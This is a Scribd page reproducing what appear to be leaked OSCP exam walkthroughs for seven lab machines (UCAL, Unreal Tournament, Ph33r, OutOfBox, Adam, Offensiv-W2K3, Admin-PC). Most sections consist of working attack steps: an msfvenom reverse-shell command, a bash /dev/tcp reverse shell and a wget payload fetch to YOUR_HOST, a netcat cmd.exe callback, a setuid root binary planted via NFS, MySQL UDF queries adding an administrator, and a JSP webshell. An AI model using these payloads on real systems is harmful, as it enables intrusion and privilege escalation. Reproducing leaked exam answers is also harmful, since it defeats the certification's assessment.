Scribd Logo
Upload

Welcome to Scribd!

  • 3K views

    OSCP-EXAM Hide01.ir

    Uploaded by

    Yamen Ababneh
    This document contains summaries of how to hack into several target systems using exploits and common hacking techniques: 1. The UCAL target can be hacked using nikto to find a login.php vulnerability and exploiting it with a reverse shell, then using Mempodipper to escalate privileges. 2. The UNREAL TOURNAMENT target has an IRC port that can be used to find a UDP port hosting the game, which has an exploit to get a reverse shell using msfvenom. 3. The Ph33r target has an exposed SMB service that can be exploited with a black-hole exploit to open a port for a reverse shell to gain root access. 4. The

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd

    OSCP-EXAM Hide01.ir

    Uploaded by

    Yamen Ababneh
    3K views4 pages
    This document contains summaries of how to hack into several target systems using exploits and common hacking techniques: 1. The UCAL target can be hacked using nikto to find a login.php vulnerability and exploiting it with a reverse shell, then using Mempodipper to escalate privileges. 2. The UNREAL TOURNAMENT target has an IRC port that can be used to find a UDP port hosting the game, which has an exploit to get a reverse shell using msfvenom. 3. The Ph33r target has an exposed SMB service that can be exploited with a black-hole exploit to open a port for a reverse shell to gain root access. 4. The

    Original Title

    OSCP-EXAM hide01.ir

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    This document contains summaries of how to hack into several target systems using exploits and common hacking techniques: 1. The UCAL target can be hacked using nikto to find a login.php vulnerability and exploiting it with a reverse shell, then using Mempodipper to escalate privileges. 2. The UNREAL TOURNAMENT target has an IRC port that can be used to find a UDP port hosting the game, which has an exploit to get a reverse shell using msfvenom. 3. The Ph33r target has an exposed SMB service that can be exploited with a black-hole exploit to open a port for a reverse shell to gain root access. 4. The

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Download as txt, pdf, or txt
    3K views4 pages

    OSCP-EXAM Hide01.ir

    Uploaded by

    Yamen Ababneh
    This document contains summaries of how to hack into several target systems using exploits and common hacking techniques: 1. The UCAL target can be hacked using nikto to find a login.php vulnerability and exploiting it with a reverse shell, then using Mempodipper to escalate privileges. 2. The UNREAL TOURNAMENT target has an IRC port that can be used to find a UDP port hosting the game, which has an exploit to get a reverse shell using msfvenom. 3. The Ph33r target has an exposed SMB service that can be exploited with a black-hole exploit to open a port for a reverse shell to gain root access. 4. The

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Download as txt, pdf, or txt
    of 4

    UCAL WRITEUP

    Run nikto against the host


    nikto -host 192.168.x.55

    You will find

    + OSVDB-3093: /webcalendar/login.php: This might be interesting... has been seen in


    web logs from an unknown scanner.
    use the following exploit to gain a reverse shell
    https://www.exploit-db.com/raw/18775/
    then use Mempodipper to escalate your privs,https://www.exploit-db.com/raw/35161/
    And you\'re done'

    UNREAL TOURNAMENT WRITEUP

    Scan ports using nmap: nmap 192.168.x.53 -Pn


    You will find IRC port accessible, connect to it using IRC client you will find
    message stating that there is unreal tournament service running at port 7778 UDP.
    Use this exploit https://www.exploit-db.com/exploits/16145/ and replace the shell
    code with the output of
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x36.31 LPORT=1111
    EXITFUNC=thread -f perl -e x86/alpha_mixed
    Start Metasploit listener and launch the exploit and you're done.

    Ph33r WRITEUP

    This is an easy machine, click to pwn one


    nmap -A 192.168.x.161
    80/tcp open http syn-ack ttl 64 Apache httpd 1.3.33 ((Debian GNU/Linux))
    | http-methods:
    |_ Potentially risky methods: TRACE
    |_http-server-header: Apache/1.3.33 (Debian GNU/Linux)
    |_http-title: Ph33r
    139/tcp open tcpwrapped syn-ack ttl 64
    use onesixtyone against it, You will find clam av is up and running
    Use black-hole exploit against the machine
    https://www.exploit-db.com/exploits/9913/
    after executing it port 31337 will be opened at the machine, you can connect to it
    using
    nc -vv 192.168.x.161 31337
    and you’re root

    OUTOFBOX WRITEUP

    Information gathering
    Scan the host using
    1. nmap 192.168.x.53 -A
    You will get port 80 accessible
    open 192.168.x.53/robots.txt
    You will get 2 md5 values which represent a directories
    example : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    Exploitation
    You will find an LFI vuln at
    GET /xxxxxxxxxxxxxxxxxxxxxxxx/inc2.html?passwd
    There is a user called OutOfBox will appear in the response
    You can use it to connect to ssh using
    username : OutOfBox
    password : OutOfBox
    ssh [email protected]
    OutOfBox@offsecsmtp:~$ id
    uid=1001(OutOfBox) gid=1001(OutOfBox) groups=1001(OutOfBox)

    Escalation
    NFS share is writable, you can create an executable which is running using
    setuid(0) suitable suid bit, upload it to the shared folder and execute it, You
    will get root access
    [root:~/Desktop]# showmount -e 192.168.xx.53
    Export list for 192.168.xx.53:
    /shared 192.168.xx.0/255.255.255.0
    [root:~/Desktop]# mkdir /tmp/mymount
    /bin/mkdir: created directory '/tmp/mymount'
    [root:~/Desktop]# mount -t nfs 192.168.xx.53:/shared /tmp/mymount -o nolock
    [root:~/Desktop]# cat /root/Desktop/exploit.c
    #include <stdio.h>
    #include <unistd.h>
    int main(void)
    {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    }
    gcc exploit.c -m32 -o exploit
    [root:/tmp/mymount]# cp /root/Desktop/x /tmp/mymount/
    [root:/tmp/mymount]# chmod u+s exploit
    Now go to /shared folder on offsec machine, execute ./exploit and you’re root

    ADAM WRITEUP

    Scan the host


    You'll find the port 80 open.
    Send the following request to get an RCE

    Create an index.php file on your host and add this content to it


    bash -i >& /dev/tcp/YOUR_HOST/443 0>&1
    Send the following request using burp to the host

    POST /index.php?page=ping.php
    HTTP/1.1
    Host: 192.168.x.67
    User-Agent: xxxxxxxxxxxxxxxxxxxxxxx
    Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8
    Accept-Language: en-US,en; q=0.5
    DNT: 1
    Referer: https:/192.168.x.67/index.php?page=ping.php
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 55

    ip=127.0.0.1 wget YOUR_HOST -O shell&send=Ping+It!

    This will download the index file of yourhost as "shell"


    Re run the job using
    GET /index.php?page=job.php&job=JOB_ID
    HTTP/1.1
    Host: 192.168.x.67
    Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*; q=0.8
    Accept-Language: en-US,en; q=0.5
    DNT: 1

    Now to execute the reverse shell set the ip parameter to 127.0.0.1


    bash shell
    And again find the job it and run it
    And you're done

    OFFENSIV-W2K3 WRITEUP

    Open http:/192.168.x.67:8080/mail/checkspool.php
    the file is vulnerable to rce, use
    it to gain a reverse shell

    Escalation

    read C:\Program Files\hMailServer\Bin\hMailServer.INI


    which contain encrypted root password
    decrypt it using C:\Program Files\hMailServer\Addons\Utilities\DecryptBlowfish.vbs
    Edit it and add your password just like
    https:/www.hmailserver.com/forum/viewtopic.php?t=31096
    Upload lib_mysqludf_sys.dll to C:\xampplite\htdocs
    then upload adminer.php
    connect to it and then execute following queries to call the lib

    USE mysql; CREATE TABLE mytbl(line blob); INSERT INTO mytbl


    values(load_file('C:/xampplite/htdocs /lib_mysqludf_sys.dll')); SELECT * FROM
    mysql.mytbl INTO DUMPFILE 'c:/windows/system32/lib_mysqludf_sys_32.dll'; CREATE
    FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT
    sys_exec("net user testu P@ssw0rd /add"); SELECT sys_exec("net localgroup
    Administrators testu /add");

    this will add user to the administrator group


    use it, and you're admin

    ADMIN-PC WRITEUP
    Exploitation
    Scan the machine using
    nmap 192.168.x.55 -A

    One interesting part is the ftp service output

    21/tcp open ftp syn-ack ttl 128| fingerprint-strings: | GenericLines: |


    220-Wellcome to Home Ftp Server!| Server ready.| command not understood.|
    command not understood.| Help: | 220-Wellcome to Home Ftp Server!| Server
    ready.| \HELP\: command not understood.| NULL, SMBProgNeg: | 220-Wellcome
    to Home Ftp Server!|_ Server ready.| ftp-anon: Anonymous FTP login allowed (FTP
    code 230)| drw-rw-rw- 1 ftp ftp 0 Dec 28 2015 . [NSE:
    writeable]|_drw-rw-rw- 1 ftp ftp 0 Dec 28 2015 .. [NSE:
    writeable]

    Connect to the server and get the xampp config fileUse user anonymous with any
    password

    [root:~/Desktop]# ftpftp> o(to) 192.168.x.55


    Connected to 192.168.x.55.220-
    Wellcome to Home Ftp Server!
    220 Server ready.Name (192.168.x.55:root): anonymous331 Password required for
    anonymous.Password:230 User Anonymous logged in.Remote system type is UNIX.Using
    binary mode to transfer files.
    ftp> get ../xampp/security/webdav.htpasswdlocal: ../xampp/security/webdav.htpasswd
    remote: ../xampp/security/webdav.htpasswd200 Port command successful.150 Opening
    data connection for ../xampp/security/webdav.htpasswd.226 File sent ok

    the file contain the credentialsfm:$apr1$yT3K79by$RbmkKdKGdaXs80zPCIZnR1Crack the


    password, you will get the plaintextfm:x-filesNow connect
    to192.168.x.55:10433/adminwhich is file manager allowing executable filesupload
    netcat.exe and then upload php file including system(\nc –vv YOUR_HOST 443 –e
    cmd.exe\); to gain shell access

    Escalation
    Upload jsp shell file to c:/xampp/tomcat/webapps/examplesthen browse it using
    192.168.x.55:10433/examples/cmd.jsp?cmd=whoami
    And you're an admin, 192.168.x.55 -

    You might also like